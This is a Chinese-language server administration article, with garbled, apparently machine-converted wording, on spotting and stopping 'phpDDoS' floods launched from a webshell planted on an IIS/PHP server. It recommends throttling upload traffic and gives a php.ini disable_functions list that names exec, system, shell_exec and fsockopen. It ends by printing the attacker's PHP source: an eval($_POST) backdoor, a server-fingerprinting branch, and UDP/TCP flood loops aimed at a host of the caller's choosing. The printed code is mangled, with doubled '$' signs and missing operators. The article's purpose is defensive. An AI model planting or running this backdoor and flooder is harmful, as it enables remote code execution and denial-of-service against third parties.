这类攻击有一个最大的特性,就是上传流量霎时增大,通常流量高达数十以至近百M,将整台效 劳器,以至将整台机柜的宽带堵住,使网站无法运转,而这样的攻击,我们无法从远程处理,一但那个phpshell运转,你的宽带将被全部占用,远程都无法 衔接。
被攻击后能做的只要联络机房的工作人员,让他进到你的效劳器里把你的IIS关掉,再没查分明是哪个站点被入侵时,尽量一个站点也不要开,以免再 次遭到攻击,怎样看是不是这个攻击呢,不能说关掉ISS好了,就是这种攻击了,而要依据更精确的查看,才能够肯定是什么问题,翻开360平安卫士,然后翻 开功用大全,到里面找到流量防火墙,在这里你能够看到每一个进程的上传和流量的几,留意躲藏的系统效劳也要点开看一下,普通都是上传超大才是 phpddos攻击,而且普通都会在w3wp.exe和mysql.exe上传流量会很大,最小也几百M,最大几G,好晓得是这个攻击了,我们就来想方法 处理。
处理办法:
1.应用360流量防火墙,把w3wp.exe和mysql.exe的上传流量限制一下,依据你效劳器本身宽带的状况停止限制,普通限制在 200 300KB都没什么问题,这样就不怕phpshell发起大流量攻击了,不过这个方法有一个缺陷,就是当你重新启动效劳器时,你之前所限制 w3wp.exe和mysql.exe就不起作用了,要重新限制一下,用这个办法的朋友一定要留意这一点。
2.经过更改php运转环境来处理,翻开php.ini找到disable_functions=这项,然后把后面改成 gzinflate,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,fsockopen。 将allow_url_fopen = Off,再找到extension=php_sockets.dll这项,把前面加上分号,就是屏蔽掉这项。
3.经过查找攻击源处理,批量查找一切网站内能否存在phpshell攻击源代码,源代码为(由于代码太乱以图片方式展现给大家)如图:
?php
eval($$_POST[Chr(90)]);
set_time_limit(86400);
ignore_user_abort(True);
$$packets = 0;
$$http = $$_GET['http'];
$$rand = $$_GET['exit'];
$$exec_time = $$_GET['time'];
if (StrLen($$http)==0 or StrLen($$rand)==0 or StrLen($$exec_time)==0)
{
if(StrLen($$_GET['rat']) 0)
{
echo $$_GET['rat'].$$_SERVER["HTTP_HOST"]."|".GetHostByName($$_SERVER['SERVER_NAME'])."|".php_uname()."|".$$_SERVER['SERVER_SOFTWARE'].$$_GET['rat'];
exit;
}
echo "Php 2012 Terminator";
exit;
}
for($$i=0;$$i 65535;$$i++)
{
$$out .= "X";
}
//Udp1-fsockopen Udp2 pfsockopen Tcp3 CC.center
$$max_time = time()+$$exec_time;
if($$rand==53)
while(1)
{
$$packets++;
if(time() $$max_time)
{
break;
}
$$fp = fsockopen("udp://$$http", $$rand, $$errno, $$errstr, 5);
if($$fp)
{
fwrite($$fp, $$out);
fclose($$fp);
}
}
else
if($$rand==500)
while(1)
{
$$packets++;
if(time() $$max_time){
break;
}
$$fp = pfsockopen("udp://$$http", $$rand, $$errno, $$errstr, 5);
if($$fp)
{
fwrite($$fp, $$out);
fclose($$fp);
}
}
else
while(1)
{
$$packets++;
if(time() $$max_time){
break;
}
$$fp = pfsockopen("tcp://$$http", $$rand, $$errno, $$errstr, 5);
if($$fp)
{
fwrite($$fp, $$out);
fclose($$fp);
}
}
?